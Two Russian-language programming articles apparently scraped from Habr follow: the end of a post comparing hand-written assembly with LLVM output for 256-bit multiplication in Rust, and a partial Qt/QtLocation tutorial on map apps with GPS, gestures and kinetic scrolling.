Как видно из комментариев, в коде много недостатков. Умножение производится на переменные из памяти, а не из регистров, производятся лишние операции store и load, также и CPU вынужден производить много store и load, прежде чем получить «реальный» код (цикл умножения-сложения). Это очень важно: хотя CPU выполняет сохранения и загрузки параллельно с вычислениями, но код написан таким образом, что CPU не начинает расчёты, пока всё не загрузится. Это потому что макрос `asm` скрывает много деталей. По сути, вы говорите компилятору поместить входные данные куда он хочет, а затем подставить в ваш ассемблерный код с помощью строковых манипуляций. Компилятор сохраняет всё в регистры, но затем мы командуем ему поместить входные массивы в память (`"m"` перед входными параметрами), чтобы он снова загрузил всё в память. Есть способ оптимизировать этот код, но это очень трудно даже для опытного профессионала. Такой код подвержен ошибкам — если вы не обнулили выходные регистры серией инструкций `xor`, то код будет иногда глючить, но не всегда, выдавая кажущиеся случайными значения, которые зависят от внутреннего состояния вызывающей функции. Вероятно, его можно ускорить заменой `"m"` на `"r"` (я не тестировал, потому что обнаружил это только когда начал проверять для статьи, почему старый ассемблерный код настолько медленнее), но глядя на исходники это не очевидно. Сразу поймёт только специалист с глубоким знанием синтаксиса ассемблера LLVM.
Для сравнения, код Rust с использованием `u128` выглядит совершенно понятно: что написано — то и получите. Даже если вы не ставили целью оптимизацию, то вероятно напишете что-то похожее как самое простое решение. В то же время код LLVM очень качественный. Вы можете заметить, что он не слишком отличается от кода, написанного вручную, но решает некоторые проблемы (прокомментированные ниже), а также включает пару оптимизаций, о которых я бы даже не подумал. Я не смог найти никаких существенных оптимизаций, которые он пропустил.
Вот сгенерированный ассемблерный код:
```
bigint::U256::full_mul:
/// Вступление
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x48, %rsp
movq 0x10(%rbp), %r11
movq 0x18(%rbp), %rsi
movq %rsi, -0x38(%rbp)
/// Я сначала подумал, что тут пропущена оптимизация,
/// но ему реально нужно это делать (вместо
/// `movq 0x30(%rbp), %rax`), потому что регистр `%rax` ниже
/// забивает `mulq`. Это значит, что он может умножить
/// первый элемент первого массива на любые элементы
/// без необходимости загружать его из памяти,
/// как это делает написанный вручную ассемблерный код.
movq 0x30(%rbp), %rcx
movq %rcx, %rax
/// LLVM умножает из регистра, а не из памяти
mulq %r11
/// LLVM переносит `%rdx` (верхние биты) в регистр, они
/// нам позже понадобятся. Он переносит`%rax`
/// (нижние биты) напрямую в память, потому что
/// с ними больше не будет никаких операций. Это лучше,
/// чем перенос в память и из памяти, как мы делали
/// в предыдущем коде.
movq %rdx, %r9
movq %rax, -0x70(%rbp)
movq %rcx, %rax
mulq %rsi
movq %rax, %rbx
movq %rdx, %r8
movq 0x20(%rbp), %rsi
movq %rcx, %rax
mulq %rsi
/// LLVM использует регистр `%r13` как промежуточный, потому что
/// значение в `%r13` позже всё равно понадобится.
movq %rsi, %r13
movq %r13, -0x40(%rbp)
/// Опять, нужно работать и с нижними, и с верхними битами,
/// так что LLVM переносит в регистры их обоих.
movq %rax, %r10
movq %rdx, %r14
movq 0x28(%rbp), %rdx
movq %rdx, -0x48(%rbp)
movq %rcx, %rax
mulq %rdx
movq %rax, %r12
movq %rdx, -0x58(%rbp)
movq 0x38(%rbp), %r15
movq %r15, %rax
mulq %r11
addq %r9, %rbx
adcq %r8, %r10
/// Эти две инструкции записывают флаги в регистр `%rcx`
pushfq
popq %rcx
addq %rax, %rbx
movq %rbx, -0x68(%rbp)
adcq %rdx, %r10
/// Это записывает флаги из предыдущего вычисления
/// в `%r8`.
pushfq
popq %r8
/// LLVM забирает обратно флаги из `%rcx`, а затем
/// производит сложение с флагом переноса. Это умно.
/// Так нам не нужно делать странное сложение с нулём,
/// ведь мы в одной инструкции совмещаем сложение
/// флага переноса и сложение компонент числа.
///
/// Возможно, способ LLVM и быстрее на современных
/// процессорах, но хранить это в `%rcx` необязательно,
/// потому что флаги всё равно окажутся наверху стека
/// (то есть можно удалить `popq %rcx` выше и этот
/// `pushq %rcx`, и ничего не изменится). Если это и
/// медленнее, то разница ничтожна.
pushq %rcx
popfq
adcq %r14, %r12
pushfq
popq %rax
movq %rax, -0x50(%rbp)
movq %r15, %rax
movq -0x38(%rbp), %rsi
mulq %rsi
movq %rdx, %rbx
movq %rax, %r9
addq %r10, %r9
adcq $0x0, %rbx
pushq %r8
popfq
adcq $0x0, %rbx
/// `setb` используется вместо излишнего обнуления регистров
/// с последующим добавлением бита переноса. `setb` просто
/// устанавливает байт 1 по данному адресу, если установлен
/// флаг переноса (поскольку это по сути `mov`, то такой
/// способ быстрее обнуления и последующего сложения)
setb -0x29(%rbp)
addq %r12, %rbx
setb %r10b
movq %r15, %rax
mulq %r13
movq %rax, %r12
movq %rdx, %r8
movq 0x40(%rbp), %r14
movq %r14, %rax
mulq %r11
movq %rdx, %r13
movq %rax, %rcx
movq %r14, %rax
mulq %rsi
movq %rdx, %rsi
addq %r9, %rcx
movq %rcx, -0x60(%rbp)
/// Это по сути хак для сложения `%r12` и `%rbx` и хранения
/// результата в `%rcx`. Здесь одна инструкция вместо двух,
/// которые понадобились бы в противном случае. `leaq` это
/// инструкция взятия адреса, так что строка по сути такая
/// же, как если бы вы сделали `&((void*)first)[second]` вместо
/// `first + second` на C. Но в ассемблере нет хаков. Каждый
/// грязный трюк - это честно.
leaq (%r12,%rbx), %rcx
/// В остальном коде нет никаких новых трюков, только
/// повторяются старые.
adcq %rcx, %r13
pushfq
popq %rcx
addq %rax, %r13
adcq $0x0, %rsi
pushq %rcx
popfq
adcq $0x0, %rsi
setb -0x2a(%rbp)
orb -0x29(%rbp), %r10b
addq %r12, %rbx
movzbl %r10b, %ebx
adcq %r8, %rbx
setb %al
movq -0x50(%rbp), %rcx
pushq %rcx
popfq
adcq -0x58(%rbp), %rbx
setb %r8b
orb %al, %r8b
movq %r15, %rax
mulq -0x48(%rbp)
movq %rdx, %r12
movq %rax, %rcx
addq %rbx, %rcx
movzbl %r8b, %eax
adcq %rax, %r12
addq %rsi, %rcx
setb %r10b
movq %r14, %rax
mulq -0x40(%rbp)
movq %rax, %r8
movq %rdx, %rsi
movq 0x48(%rbp), %r15
movq %r15, %rax
mulq %r11
movq %rdx, %r9
movq %rax, %r11
movq %r15, %rax
mulq -0x38(%rbp)
movq %rdx, %rbx
addq %r13, %r11
leaq (%r8,%rcx), %rdx
adcq %rdx, %r9
pushfq
popq %rdx
addq %rax, %r9
adcq $0x0, %rbx
pushq %rdx
popfq
adcq $0x0, %rbx
setb %r13b
orb -0x2a(%rbp), %r10b
addq %r8, %rcx
movzbl %r10b, %ecx
adcq %rsi, %rcx
setb %al
addq %r12, %rcx
setb %r8b
orb %al, %r8b
movq %r14, %rax
movq -0x48(%rbp), %r14
mulq %r14
movq %rdx, %r10
movq %rax, %rsi
addq %rcx, %rsi
movzbl %r8b, %eax
adcq %rax, %r10
addq %rbx, %rsi
setb %cl
orb %r13b, %cl
movq %r15, %rax
mulq -0x40(%rbp)
movq %rdx, %rbx
movq %rax, %r8
addq %rsi, %r8
movzbl %cl, %eax
adcq %rax, %rbx
setb %al
addq %r10, %rbx
setb %cl
orb %al, %cl
movq %r15, %rax
mulq %r14
addq %rbx, %rax
movzbl %cl, %ecx
adcq %rcx, %rdx
movq -0x70(%rbp), %rcx
movq %rcx, (%rdi)
movq -0x68(%rbp), %rcx
movq %rcx, 0x8(%rdi)
movq -0x60(%rbp), %rcx
movq %rcx, 0x10(%rdi)
movq %r11, 0x18(%rdi)
movq %r9, 0x20(%rdi)
movq %r8, 0x28(%rdi)
movq %rax, 0x30(%rdi)
movq %rdx, 0x38(%rdi)
movq %rdi, %rax
addq $0x48, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```
Хотя в сгенерированной LLVM версии есть ещё несколько инструкций, но количество самых медленных директив (load и store) сведено к минимуму. По большей части LLVM избегает избыточной работы, а также применяет много смелых оптимизаций. В результате код выполняется значительно быстрее.
Это не первый раз, когда тщательно написанная реализация Rust превзошла наш код сборки. Несколько месяцев назад я переписал реализацию сложения и вычитания на Rust, ускорив их на 20% и 15%, соответственно, по сравнению с реализацией на ассемблере. Там чтобы превзойти ассемблерный код не требовалась 128-битная арифметика (чтобы использовать полную аппаратную поддержку на Rust следует лишь указать `u64:: checked_add/ checked_sub`), хотя кто знает — может, в будущем мы применим 128-битную арифметику и еще больше увеличим скорость.
Код из этого примера можно посмотреть [здесь](https://github.com/paritytech/bigint/pull/38), а код реализации сложения/вычитания — [здесь](https://github.com/paritytech/bigint/pull/26). Должен заметить, что, хотя последний уже показывает в бенчмарке превосходство по умножению над реализацией на ассемблере, но на самом деле это связано с тем, что бенчмарк в большинстве случаев выполнял умножение на 0. Мда. Если можно извлечь из этого какой-то урок, так что это информированная оптимизация невозможна без репрезентативных бенчмарков.
Я не считаю, что следует изучить методы оптимизации LLVM и переписать вручную свой вариант ассемблерного кода. Смысл в том, что оптимизирующие компиляторы уже *по-настоящему хороши*. Их пишут очень умные люди, а компьютеры действительно хороши в том типе оптимизаций (в математическом смысле), какой люди находят довольно трудным. Это работа разработчиков языка — дать нам инструменты, необходимые для максимально полного информирования оптимизатора, каковы наши истинные намерения, и бóльшие целочисленные размеры — ещё один шаг к этому. Rust проделал отличную работу для того, чтобы программисты писали программы, легко понятные и людям, и компиляторам. Именно эта сила во многом определила его успех. | https://habr.com/ru/post/358974/ | null | ru | null |
# Разработка картографических мобильных приложений на С++/Qt, с использованием Qt Mobility
#### Этот пост участвует в конкурсе „[Умные телефоны за умные посты](http://habrahabr.ru/company/Nokia/blog/132522/)"
В предыдущей [статье](http://habrahabr.ru/blogs/qt_software/133506/) мы научились писать картографическое приложение на QML, а сегодня мы рассмотрим разработку приложения на базе архитектуры графических представлений [Qt Graphics View](http://doc.qt.nokia.com/latest/graphicsview.html), с использованием API модуля [QtLocation](http://doc.qt.nokia.com/qtmobility-1.2/location-overview.html). Статью можно поделить на две части: теоретическую и практическую. В теоретической части рассматриваются архитектура *Graphics View* и основные моменты использования модуля *QtLocation*. В практической части я не буду описывать создание проекта с нуля, а предоставлю код наиболее интересного функционала из проекта, такого как инерционное перемещение карты, анимированный переход на заданную координату, определения местоположения по [GPS](http://ru.wikipedia.org/wiki/GPS), элементы для масштабирования и вывода текстовой информации.
Если вы собирали [дополнительные плагины](https://gitorious.org/qtm-geoservices-extras/qtm-geoservices-extras) из предыдущей [статьи](http://habrahabr.ru/blogs/qt_software/133506/) их можно использовать и в этом проекте.
##### Оглавление
1. [Архитектура Graphics View](#GraphicsView)
2. [Введение в графические элементы](#GraphicsItem)
3. [Модуль QtLocation](#QtLocation)
4. [Карты и сервисы](#GeoMap)
5. [Получение координат по GPS](#GPS)
6. Разбор проекта
* [Анимированный переход на заданную координату](#AnimatedPan)
* [Pinch Gesture](#PinchGesture)
* [Kinetic scroll](#KineticScroll)
* [Элемент для статусной строки](#StatusBar)
* [Элемент для масштабирования](#ButtonItem)
7. [Tips & Tricks](#Tips)
8. [Заключение](#End)
9. [Ссылки](#Links)
##### Архитектура Graphics View
Архитектура графических представлений похожа на архитектуру [модель/представление](http://doc.qt.nokia.com/latest/model-view-programming.html) в том смысле, что в ней имеется класс для хранения данных [QGraphicsScene](http://doc.qt.nokia.com/latest/qgraphicsscene.html) и класс для визуализации этих данных [QGraphicsView](http://doc.qt.nokia.com/latest/qgraphicsview.html). Одну и ту же сцену можно визуализировать разными представлениями, если это необходимо. Графическая сцена содержит элементы — объекты классов, производных от абстрактного класса [QGraphicsItem](http://doc.qt.nokia.com/latest/qgraphicsitem.html).
С самого начала в разработку архитектуры графических представлений было вложено много усилий, направленных на повышение быстродействия и расширение возможностей. Сцены можно масштабировать, поворачивать и распечатывать, а для их отображения использовать как встроенный в Qt движок, так и библиотеку OpenGL. Архитектура поддерживает также анимацию и перетаскивание мышью. Графические сцены пригодны для представления от единиц до десятков тысяч элементов, хорошей иллюстрацией может служить пример [40 000 чипов](http://doc.qt.nokia.com/latest/demos-chip.html). На сцену можно помещать и виджеты, производные от [QWidget](http://doc.qt.nokia.com/latest/qwidget.html), для этого нужно передать виджет конструктору класса [QGraphicsProxyWidget](http://doc.qt.nokia.com/latest/qgraphicsproxywidget.html) и поместить прокси-виджет на сцену. Прокси-виджет (или сами объекты *QWidget*) работают медленно, но будет ли это замедление заметно, зависит от приложения (подробнее об этом написано в [QtLabs](http://labs.qt.nokia.com/2010/01/11/qt-graphics-and-performance-the-cost-of-convenience/)[En]).
##### Введение в графические элементы
Класс [QGraphicsItem](http://doc.qt.nokia.com/latest/qgraphicsitem.html) является базовым для всех графических элементов. Создавать его экземпляры нельзя, так как в нем есть два чисто виртуальных метода: [boundingRect()](http://doc.qt.nokia.com/latest/qgraphicsitem.html#boundingRect) и [paint()](http://doc.qt.nokia.com/latest/qgraphicsitem.html#paint). Метод *paint()* соответствует методу [QWidget::paintEvent()](http://doc.qt.nokia.com/latest/qwidget.html#paintEvent), его реализация должна рисовать элемент. Метод *boundingRect()* сообщает инфраструктуре об ограничивающем прямоугольнике элемента — он применяется для обнаружения столкновений и для того, чтобы не перерисовывать элемент, находящийся вне видимости. Этот класс предоставляет поддержку для событий мыши и клавиатуры, перетаскивания (drag&drop), группировки элементов. Обработка событий работает следующим образом, представление получает события мыши и клавиатуры, затем оно переводит их в события для сцены, изменяя [координаты](http://doc.qt.nokia.com/latest/graphicsview.html#the-graphics-view-coordinate-system) в соответствии с координатами сцены и далее событие передается нужному элементу.
##### Модуль QtLocation
   
Модуль *QtLocation* предоставляет разработчику удобный интерфейс для доступа к позиционной информации. API позволяет абстрагироваться от источника информации, которая может быть списком спутников или данными из других источников.
*QtLocation*, поставляется с набором классов, связанных с различными аспектами навигации. Он включает классы связанные с аппаратными средствами, такие как [QGeoPositionInfoSource](http://doc.qt.nokia.com/qtmobility/qgeopositioninfosource.html), который предоставляет информацию о положении пользователя с помощью системы глобального позиционирования (GPS) или другими источниками местоположения, и [QGeoSatelliteInfoSource](http://doc.qt.nokia.com/qtmobility/qgeosatelliteinfosource.html), который используется для получения информации о позиционировании спутников.
Модуль также включает в себя ряд классов основной целью, которых является описание информации о местоположении, например [QGeoCoordinate](http://doc.qt.nokia.com/qtmobility/qgeocoordinate.html), который содержит широту, долготу и высоту над уровнем моря. *QtLocation* также предоставляет способ представления географических районов, либо в абстрактном виде, как [QGeoBoundingArea](http://doc.qt.nokia.com/qtmobility/qgeoboundingarea.html) или точнее, как в [QGeoBoundingBox](http://doc.qt.nokia.com/qtmobility/qgeoboundingbox.html) и [QGeoBoundingCircle](http://doc.qt.nokia.com/qtmobility/qgeoboundingcircle.html).
##### Карты и сервисы
[](http://developer.qt.nokia.com/uploads/qq35/maps/map-shapes.png)
Прежде чем мы сможем начать работу с картами, сценами и представлениями, в первую очередь мы должны получить доступ к источнику географических данных. Общий способ сделать это, состоит в использовании [QGeoServiceProvider](http://doc.qt.nokia.com/qtmobility/qgeoserviceprovider.html). Для того чтобы узнать какие сервисы доступны, можно воспользоваться [QGeoServiceProvider::availableServiceProviders()](http://doc.qt.nokia.com/qtmobility/qgeoserviceprovider.html#availableServiceProviders), который вернет пустой [QStringList](http://doc.qt.nokia.com/latest/qstringlist.html) в случае отсутствия доступных сервисов, так что разработчик должен проверить эту возможность:
```
QStringList services = QGeoServiceProvider::availableServiceProviders();
if (services.isEmpty()) {
//Доложить о ситуации и обработать ее
}
```
Как только сервис провайдер был получен, мы можем получить [QGeoMappingManager](http://doc.qt.nokia.com/qtmobility/qgeomappingmanager.html), который позволит нам получить изображение карты.
```
QGeoMappingManager *manager = service.mappingManager();
```
Для того чтобы запросить менеджер для поиска объектов на карте или маршрутизации, нужно вызвать [searchManager()](http://doc.qt.nokia.com/qtmobility-1.1/qgeoservicemanager.html#searchManager) или [routingManager()](http://doc.qt.nokia.com/qtmobility-1.1/qgeoservicemanager.html#routingManager).
Чтобы отрисовать карту для пользователя, *QtLocation* предоставляет нам класс [QGraphicsGeoMap](http://doc.qt.nokia.com/qtmobility-1.1/qgraphicsgeomap.html) для отображения данных из *QGeoMappingManager*. Все, что нам нужно сделать, это создать представление и сцену в обычном порядке, и добавить карту в сцену:
```
QGraphicsScene scene;
QGraphicsView view;
view.setScene(&scene);
QGraphicsGeoMap *geoMap = new QGraphicsGeoMap(manager);
scene.addItem(geoMap);
```
##### Получение координат по GPS
Для получения координат по GPS, необходимо создать [QGeoPositionInfoSource](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfosource.html) вызвав [QGeoPositionInfoSource::createDefaultSource()](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfosource.html#createDefaultSource), который дает доступ к различной информации о коодинатах [QGeoPositionInfo](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfo.html). Клиенты, которым требуются данные о местоположении могут подключаться к сигналу [positionUpdated()](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfosource.html#positionUpdated) , чтобы *QGeoPositionInfoSource* начал посылать этот сигнал необходимо вызвать [startUpdates()](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfosource.html#startUpdates) или [requestUpdate()](http://doc.qt.nokia.com/qtmobility-1.0/qgeopositioninfosource.html#requestUpdate).
Пример клиента, который получает данные о местоположении:
```
class MyClass : public QObject
{
Q_OBJECT
public:
MyClass(QObject *parent = 0)
: QObject(parent)
{
QGeoPositionInfoSource *source = QGeoPositionInfoSource::createDefaultSource(this);
if (source) {
connect(source, SIGNAL(positionUpdated(QGeoPositionInfo)),
this, SLOT(positionUpdated(QGeoPositionInfo)));
source->startUpdates();
}
}
private slots:
void positionUpdated(const QGeoPositionInfo &info)
{
qDebug() << "Position updated:" << info;
}
};
```
Если регулярные обновления позиции являются обязательными, [setUpdateInterval()](http://doc.qt.nokia.com/qtmobility-1.1/qgeopositioninfosource.html#updateInterval-prop) может использоваться, чтобы определить, как часто эти обновления должны происходить. Если интервал не указан, обновления приходят, когда они доступны. Например, если клиентское приложение требует обновления каждые 30 секунд:
```
// Emit updates every 30 seconds if available
QGeoPositionInfoSource *source = QGeoPositionInfoSource::createDefaultSource(someParent);
if (source)
source->setUpdateInterval(30000);
```
##### Анимированный переход на заданную координату
Итак, мы получили общее представление о том как все работает, теперь можно перейти к коду. Для создания плавного передвижения карты на заданную координату нам нужно расширить функционал предоставленный классом [QGraphicsGeoMap](http://doc.qt.nokia.com/qtmobility/qgraphicsgeomap.html):
```
class GeoMap : public QGraphicsGeoMap
{
Q_OBJECT
Q_PROPERTY(double centerLatitude READ centerLatitude WRITE setCenterLatitude)
Q_PROPERTY(double centerLongitude READ centerLongitude WRITE setCenterLongitude)
public:
GeoMap(QGeoMappingManager *manager, QGraphicsItem *parent = 0);
void animatedPanTo(const QGeoCoordinate& center);
double centerLatitude() const { return center().latitude(); }
void setCenterLatitude(double lat);
double centerLongitude() const { return center().longitude(); }
void setCenterLongitude(double lon);
//...
```
и реализация:
```
void GeoMap::animatedPanTo(const QtMobility::QGeoCoordinate ¢er)
{
QGeoCoordinate curStart(this->center());
if (curStart == center)
return;
//здесь можно выводить что двигаемся на заданную координату
setStatusBarText(QString("Panning to %1").arg(center.toString(QGeoCoordinate::Degrees)));
QPropertyAnimation *latAnim = new QPropertyAnimation(this, "centerLatitude");
latAnim->setEndValue(center.latitude());
latAnim->setDuration(300);
QPropertyAnimation *lonAnim = new QPropertyAnimation(this, "centerLongitude");
lonAnim->setEndValue(center.longitude());
lonAnim->setDuration(300);
QParallelAnimationGroup *group = new QParallelAnimationGroup;
group->addAnimation(latAnim);
group->addAnimation(lonAnim);
group->start(QAbstractAnimation::DeleteWhenStopped);
}
void GeoMap::setCenterLatitude(double lat)
{
QGeoCoordinate c = center();
c.setLatitude(lat);
setCenter( c);
}
void GeoMap::setCenterLongitude(double lon)
{
QGeoCoordinate c = center();
c.setLongitude(lon);
setCenter( c);
}
```
Теперь при вызове *animatedPanTo()* карта будет плавно перемещаться на указанную координату и под нужным углом, т.е. если новая координата находится выше по отношению текущего центра, то карта будет двигаться вверх и так далее. Так как [QPropertyAnimation](http://doc.qt.nokia.com/4.7/qpropertyanimation.html) по умолчанию не работает с [QGeoCoordinate](http://doc.qt.nokia.com/qtmobility/qgeocoordinate.html), я дополнил карту двумя свойствами, с которыми анимация умеет работать ([список](http://doc.qt.nokia.com/4.7/qvariantanimation.html#details) поддерживаемых типов). Конечно же, можно было зарегистрировать свой [интерполятор](http://doc.qt.nokia.com/4.7/qvariantanimation.html#qRegisterAnimationInterpolator) и [зарегистрировать](http://doc.qt.nokia.com/4.7/qmetatype.html#qRegisterMetaType) *QGeoCoordinate* для [QVariant](http://doc.qt.nokia.com/4.7/qvariant.html), но со свойствами мне кажется гораздо понятнее и изящнее.
##### Pinch Gesture
Qt включает в себя [фреймворк](http://doc.qt.nokia.com/latest/gestures-overview.html) для программирования жестов, который формирует их из серии событий, независимо от способа ввода. Жестом может быть движение мыши, прикосновение к сенсорному экрану или ряд событий из других источников. В Qt обработка жестов представлена следующими классами: [QPanGesture](http://doc.qt.nokia.com/latest/qpangesture.html), [QPinchGesture](http://doc.qt.nokia.com/latest/qpinchgesture.html) и [QSwipeGesture](http://doc.qt.nokia.com/latest/qswipegesture.html). «Щепок» применяется для увеличения или уменьшения изображения, в нашем случае он будет менять масштаб карты. Для его реализации в классе нужно включить обработку этого жеста, вызвав метод [grabGesture(Qt::PinchGesture)](http://doc.qt.nokia.com/latest/qgraphicsobject.html#grabGesture) и обработать его в [sceneEvent()](http://doc.qt.nokia.com/latest/qgraphicsitem.html#sceneEvent) нашей карты:
```
bool GeoMap::sceneEvent(QEvent *event)
{
switch (event->type()) {
case QEvent::Gesture:
{
if (QGestureEvent *gesture = static_cast(event)) {
if (QPinchGesture \*pinch = static\_cast(gesture->gesture(Qt::PinchGesture))) {
qreal scale = qLn(pinch->scaleFactor())/qLn(2);
qreal zoom = 0;
zoom = scale > 0 ? 1 : -1;
setZoomLevel(zoomLevel() + zoom);
return true;
}
}
}
default:
break;
}
return QGraphicsGeoMap::sceneEvent(event);
}
```
Qt позволяет обрабатывать, наравне с [жестами](http://doc.qt.nokia.com/latest/gestures-overview.html), события [прикосновений](http://doc.qt.nokia.com/latest/qtouchevent.html) к экрану. Чтобы принимать их для виджета нужно установить атрибут [Qt::WA\_AcceptTouchEvents](http://doc.qt.nokia.com/latest/qt.html#WidgetAttribute-enum), а для графических элементов вызвать [acceptTouchEvents(true)](http://doc.qt.nokia.com/latest/qgraphicsitem.html#setAcceptTouchEvents).
##### Kinetic Scroll
Kinetic Scroll — это инерционное перемещение карты, не зная как еще более точно передать этот функционал словами, я поместил видео, лучше один раз увидеть, чем сто раз прочитать. Этот функционал мы и реализуем. Итак, оставшаяся часть нашего заголовочного файла:
```
protected:
void mousePressEvent(QGraphicsSceneMouseEvent *event);
void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
void wheelEvent(QGraphicsSceneWheelEvent *event);
void keyPressEvent(QKeyEvent * event);
void keyReleaseEvent(QKeyEvent * event);
bool sceneEvent(QEvent *event);
private slots:
void kineticTimerEvent();
private:
void panFloatWrapper(const QPointF & delta);
void applyPan(const Qt::KeyboardModifiers & modifiers);
void setStatusBarText(const QString &text);
private:
bool panActive;
bool panDecellerate;
// Fractional pan, used by panFloatWrapper
QPointF remainingPan;
// current kinetic panning speed, in pixel/msec
QPointF kineticPanSpeed;
QPoint panDir;
QTimer kineticTimer;
QTime lastMoveTime;
// An entry in the mouse history. first=speed, second=time
typedef QPair MouseHistoryEntry;
// A history of the last (currently 5) mouse move events is stored in order to smooth out
// movement detection for kinetic panning
QList mouseHistory;
StatusBarItem \*m\_statusBar;
};
```
Самое интересное, конечно же в реализации, сначала рассмотрим настройки для управления перемещением:
```
////////////////////////////////////////////////////////////////////////////////
// TODO: Some of these could be exposed in a GUI and should probably be put elsewhere in that case
// (and made non-const)
// Kinect annimation properties
static const bool enableKineticPanning = true;
// time until kinetic panning speed slows down to 50%, in msec
static const qreal kineticPanningHalflife = 160.0;
// keyboard panning speed without modifiers, in pixels/msec
static const qreal panSpeedNormal = 0.3;
// keyboard panning speed with shift, in pixels/msec
static const qreal panSpeedFast = 1.0;
// minimum panning speed, in pixels/msec
static const qreal kineticPanSpeedThreshold = 0.005;
// temporal resolution. Smaller values take more CPU but improve visual quality
static const int kineticPanningResolution = 20;
// maximum time between last mouse move and mouse release for kinetic panning to kick in
static const int holdTimeThreshold = 100;
////////////////////////////////////////////////////////////////////////////////
```
Думаю пояснять ничего не нужно, все понятно из комментариев.
Оставшаяся часть реализации:
```
void GeoMap::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
setFocus();
if (event->button() == Qt::LeftButton) {
panActive = true;
// When pressing, stop the timer and stop all current kinetic panning
kineticTimer.stop();
kineticPanSpeed = QPointF();
lastMoveTime = QTime::currentTime();
}
event->accept();
}
void GeoMap::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
{
if (panActive) {
setCursor(Qt::ClosedHandCursor);
// Calculate time delta
QTime currentTime = QTime::currentTime();
int deltaTime = lastMoveTime.msecsTo(currentTime);
lastMoveTime = currentTime;
// Calculate position delta
QPointF delta = event->lastPos() - event->pos();
// Calculate and set speed
if (deltaTime > 0) {
kineticPanSpeed = delta / deltaTime;
mouseHistory.push_back(MouseHistoryEntry(kineticPanSpeed, currentTime));
mouseHistory.pop_front();
}
// Pan map
panFloatWrapper(delta);
}
event->accept();
}
void GeoMap::mouseReleaseEvent(QGraphicsSceneMouseEvent * event)
{
if (event->button() == Qt::LeftButton && panActive) {
panActive = false;
setCursor(Qt::OpenHandCursor);
if (!enableKineticPanning ||
lastMoveTime.msecsTo(QTime::currentTime()) > holdTimeThreshold) {
return;
}
kineticPanSpeed = QPointF();
int entries_considered = 0;
QTime currentTime = QTime::currentTime();
foreach(MouseHistoryEntry entry, mouseHistory) {
// first=speed, second=time
int deltaTime = entry.second.msecsTo(currentTime);
if (deltaTime < holdTimeThreshold) {
kineticPanSpeed += entry.first;
entries_considered++;
}
}
if (entries_considered > 0) kineticPanSpeed /= entries_considered;
lastMoveTime = currentTime;
// When releasing the mouse button/finger while moving,
// start the kinetic panning timer
kineticTimer.start();
panDecellerate = true;
}
event->accept();
}
void GeoMap::mouseDoubleClickEvent(QGraphicsSceneMouseEvent * event)
{
setFocus();
animatedPanTo(screenPositionToCoordinate(event->pos()));
event->accept();
}
// ...
void GeoMap::kineticTimerEvent()
{
QTime currentTime = QTime::currentTime();
int deltaTime = lastMoveTime.msecsTo(currentTime);
lastMoveTime = currentTime;
if (panDecellerate)
kineticPanSpeed *= qPow(qreal(0.5), qreal(deltaTime / kineticPanningHalflife));
QPointF scaledSpeed = kineticPanSpeed * deltaTime;
if (kineticPanSpeed.manhattanLength() < kineticPanSpeedThreshold) {
// Kinetic panning is almost halted -> stop it.
kineticTimer.stop();
return;
}
panFloatWrapper(scaledSpeed);
}
// Wraps the pan(int, int) method to achieve floating point accuracy,
// which is needed to scroll smoothly.
void GeoMap::panFloatWrapper(const QPointF & delta)
{
// Add to previously stored panning distance
remainingPan += delta;
// Convert to integers
QPoint move = remainingPan.toPoint();
// Commit mouse movement
pan(move.x(), move.y());
// Store committed mouse movement
remainingPan -= move;
}
```
Я опустил реализацию обработки клавиатуры, с ней вы можете ознакомиться, скачав весь [проект](https://gitorious.org/geo-application/geo-application/trees/master). Реализация инерционного перемещения взята чуть менее, чем полностью из [этого](http://qt.gitorious.org/qt-mobility/contacts/trees/29636c3b20c7e03dac2f793e7be7fc939356d29d/tests/location-testing-tools/mapviewer) примера, спасибо разработчикам за прекрасную документацию и отличные примеры.
##### Элемент для статусной строки
Теперь давайте рассмотрим элемент для вывода различной текстовой информации в статусной строке.
Элемент при показе текста сначала плавно появляется, задерживается на заданное время и плавно скрывается. Итак, начнем с объявления:
```
// An animated status bar item that appears at the bottom
// of the map
class StatusBarItem : public QObject, public QGraphicsRectItem
{
Q_OBJECT
Q_PROPERTY(int offset READ offset WRITE setOffset)
public:
explicit StatusBarItem();
~StatusBarItem();
int offset() const;
void setRect(qreal x, qreal y, qreal w, qreal h);
public slots:
void setText(QString text);
void showText(QString text, quint32 timeout=3000);
void show();
void hide();
void setOffset(int offset);
private:
int m_offset;
QGraphicsSimpleTextItem *m_textItem;
};
```
Во-первых, сам по себе элемент представляет собой прямоугольник, который в себе содержит [QGraphicsSimpleTextItem](http://doc.qt.nokia.com/latest/qgraphicssimpletextitem.html) и просто управляет им. Давайте рассмотрим реализацию этого класса:
```
StatusBarItem::StatusBarItem()
{
m_offset = 0;
setPen(QPen(QBrush(), 0));
setBrush(QBrush(QColor(0,0,0,120)));
m_textItem = new QGraphicsSimpleTextItem(this);
m_textItem->setBrush(QBrush(Qt::white));
setText("");
}
StatusBarItem::~StatusBarItem()
{
}
void StatusBarItem::setText(QString text)
{
m_textItem->setText(text);
QRectF rect = m_textItem->boundingRect();
QPointF delta = this->rect().center() - rect.center();
m_textItem->setPos(delta.x(), delta.y());
}
int StatusBarItem::offset() const
{
return m_offset;
}
void StatusBarItem::setRect(qreal x, qreal y, qreal w, qreal h)
{
QGraphicsRectItem::setRect(x, y + m_offset, w, h);
QFont f;
f.setFixedPitch(true);
f.setPixelSize(h/1.1);
m_textItem->setFont(f);
setText(m_textItem->text());
}
void StatusBarItem::setOffset(int offset)
{
this->setY(this->y() - m_offset + offset);
m_offset = offset;
}
void StatusBarItem::showText(QString text, quint32 timeout)
{
setText(text);
show();
QTimer::singleShot(timeout, this, SLOT(hide()));
}
void StatusBarItem::show()
{
QPropertyAnimation *anim = new QPropertyAnimation(this, "offset");
anim->setStartValue(0);
